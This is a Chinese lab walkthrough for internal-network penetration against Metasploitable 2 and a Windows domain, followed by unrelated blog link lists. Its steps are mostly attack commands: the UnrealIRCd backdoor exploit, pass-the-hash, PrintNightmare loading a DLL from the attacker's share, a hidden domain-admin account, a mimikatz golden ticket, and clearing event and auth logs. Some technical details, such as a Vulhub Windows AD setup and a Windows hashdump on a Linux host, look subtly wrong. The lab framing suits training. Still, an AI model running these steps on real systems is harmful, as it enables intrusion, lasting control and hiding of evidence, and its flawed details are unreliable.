内网渗透靶场实操清单(基于 Vulhub+Metasploitable 2)

本清单以 "外网突破→内网信息收集→横向移动→权限提升→持久化" 为核心流程,使用 Kali Linux 作为攻击机,Metasploitable 2(Linux 靶机)+ Vulhub Windows 域环境靶机作为目标,全程手把手指导。

一、 靶场环境搭建

1. 基础环境准备

设备 系统版本 IP 规划(建议同一内网段) 核心作用
攻击机 Kali Linux 2025 192.168.56.101 执行扫描、漏洞利用、横向移动
外网跳板机 Metasploitable 2 192.168.56.102 模拟外网 Web 服务器,作为内网入口
内网域靶机 Windows Server 2019(AD) 192.168.56.103 域控制器(DC),域名为 test.com
内网普通主机 Windows 10 192.168.56.104 域内普通主机,加入 test.com

2. 环境配置步骤

  1. 虚拟机网络设置 :所有设备均设置为 Host-Only 模式,确保处于同一内网段,且攻击机能访问所有靶机。
  2. Metasploitable 2 部署
  3. Windows 域环境部署(Vulhub 快捷方式)
    • 克隆 Vulhub 仓库:git clone https://github.com/vulhub/vulhub.git
    • 进入 Windows 域环境目录(如 vulhub/windows/ad
    • 启动靶机:docker-compose up -d
    • 注意:Vulhub 域靶机默认开启 WinRM、SMB 服务,方便后续渗透。

二、 实操步骤(完整流程)

阶段 1:外网突破 - 获取跳板机(Metasploitable 2)权限

  1. 端口扫描与漏洞发现
    • 攻击机执行 nmap 扫描:nmap -sV -p- 192.168.56.102
    • 发现开放端口:21(FTP)、22(SSH)、80(HTTP)、3306(MySQL)等,且存在UnrealIRCd 后门漏洞(经典漏洞)。
  2. 漏洞利用 - 获取 Meterpreter 会话
    • 启动 msfconsole:msfconsole
    • 搜索漏洞模块:search unrealircd
    • 加载模块:use exploit/unix/irc/unrealircd_3281_backdoor
    • 设置目标 IP:set RHOSTS 192.168.56.102
    • 执行攻击:run
    • 成功获取 meterpreter 会话 ,当前权限为 msfadmin

阶段 2:内网信息收集(从跳板机探测内网)

  1. 跳板机内网网段探测
    • 在 meterpreter 中执行:ipconfig,发现跳板机内网网卡 IP 为 192.168.56.102,推测内网段为 192.168.56.0/24
    • 执行内网存活主机扫描:run post/multi/gather/ping_sweep RHOSTS=192.168.56.0/24
    • 发现存活主机:192.168.56.103(DC)、192.168.56.104(Windows 10)。
  2. 端口与服务探测
    • 对 DC 进行端口扫描:run auxiliary/scanner/portscan/tcp RHOSTS=192.168.56.103 PORTS=135,139,445,389
    • 发现 DC 开放 445(SMB)、389(LDAP)端口,确认是域控制器。
  3. 域环境信息收集
    • 切换到跳板机 shell:shell

    • 安装 impacket 工具(Kali 已预装),执行域用户查询: bash

      运行

      复制代码
      python3 /usr/share/doc/python3-impacket/examples/net.py user /domain -target-ip 192.168.56.103
    • 成功获取域用户列表:administratoruser1 等。

阶段 3:横向移动 - 从跳板机到内网 Windows 10 主机

  1. 凭证获取(跳板机本地哈希提取)
    • 回到 meterpreter 会话,执行哈希提取:run post/windows/gather/hashdump

    • 若跳板机是 Linux,改用 linpeas.sh 提取凭证:

      bash

      运行

      复制代码
      wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh
      chmod +x linpeas.sh
      ./linpeas.sh
    • 假设获取到域用户 user1 的 NTLM 哈希:aad3b435b51404eeaad3b435b51404ee:1234567890abcdef1234567890abcdef

  2. 哈希传递攻击(PTH)
    • 使用 impacket 的 psexec.py 执行横向移动: bash

      运行

      复制代码
      python3 /usr/share/doc/python3-impacket/examples/psexec.py test.com/user1@192.168.56.104 -hashes aad3b435b51404eeaad3b435b51404ee:1234567890abcdef1234567890abcdef
    • 成功获取 Windows 10 主机的 system 权限 shell

阶段 4:权限提升 - 从域用户到域管理员

  1. 域内信息收集(Windows 10 主机)
    • 在 shell 中执行域管理员查询:net group "Domain Admins" /domain
    • 发现域管理员账户:administrator
  2. 利用 PrintNightmare 漏洞提权(假设 DC 未打补丁)
    • 攻击机下载 PrintNightmare 利用脚本:git clone https://github.com/cube0x0/CVE-2021-34527.git

    • 编译脚本后,通过 smb 共享传输到 Windows 10 主机: bash

      运行

      复制代码
      impacket-smbserver share . -smb2support
    • Windows 10 主机挂载共享:net use \\192.168.56.101\share

    • 执行提权脚本:CVE-2021-34527.exe \\192.168.56.101\share\malicious.dll

    • 成功获取 域管理员权限

阶段 5:持久化 - 域内留后门

  1. 创建隐藏域管理员账户

    • 在 DC 中执行命令: cmd

      复制代码
      net user hidden_admin P@ssw0rd! /add /domain
      net group "Domain Admins" hidden_admin /add /domain
  2. 黄金票据生成

    • 使用 mimikatz 提取域控制器的 KRBTGT 账户哈希: bash

      运行

      复制代码
      mimikatz.exe "lsadump::lsa /inject /name:krbtgt" exit
    • 生成黄金票据: bash

      运行

      复制代码
      mimikatz.exe "kerberos::golden /domain:test.com /sid:S-1-5-21-xxxxxx /krbtgt:哈希值 /user:backdoor /ptt" exit
    • 利用黄金票据可长期控制整个域,无需再次破解密码。

阶段 6:痕迹清理

  1. Windows 日志清理

    • 执行命令删除事件日志: cmd

      复制代码
      wevtutil cl System
      wevtutil cl Security
      wevtutil cl Application
  2. Linux 日志清理

    • 清空跳板机日志: bash

      运行

      复制代码
      echo "" > /var/log/auth.log
      echo "" > /var/log/syslog
      history -c && history -w

三、 靶场实操注意事项

  1. 环境隔离 :所有操作必须在独立虚拟机环境中进行,禁止接入公网。
  2. 工具版本 :确保 Kali 工具为最新版,执行 apt update && apt upgrade 升级。
  3. 权限授权 :本清单仅用于合法渗透测试学习,必须获得靶机授权
  4. 排错技巧:若攻击失败,优先检查网络连通性、靶机补丁状态、工具参数是否正确。
相关推荐
橘子真甜~3 小时前
C/C++ Linux网络编程15 - 网络层IP协议
linux·网络·c++·网络协议·tcp/ip·计算机网络·网络层
醇氧4 小时前
org.jetbrains.annotations的@Nullable 学习
java·开发语言·学习·intellij-idea
拾贰_C4 小时前
【Linux | Windows | Terminal Command】 Linux---grep | Windows--- findstr
linux·运维·服务器
敲敲了个代码4 小时前
隐式类型转换:哈基米 == 猫 ? true :false
开发语言·前端·javascript·学习·面试·web
阿华hhh5 小时前
Linux系统编程(标准io)
linux·开发语言·c++
石像鬼₧魂石5 小时前
Kali Linux 网络端口深度扫描
linux·运维·网络
alengan5 小时前
linux上面写python3日志服务器
linux·运维·服务器
Pandora_4175 小时前
cursor学习
学习
崇山峻岭之间6 小时前
Matlab学习笔记02
笔记·学习·matlab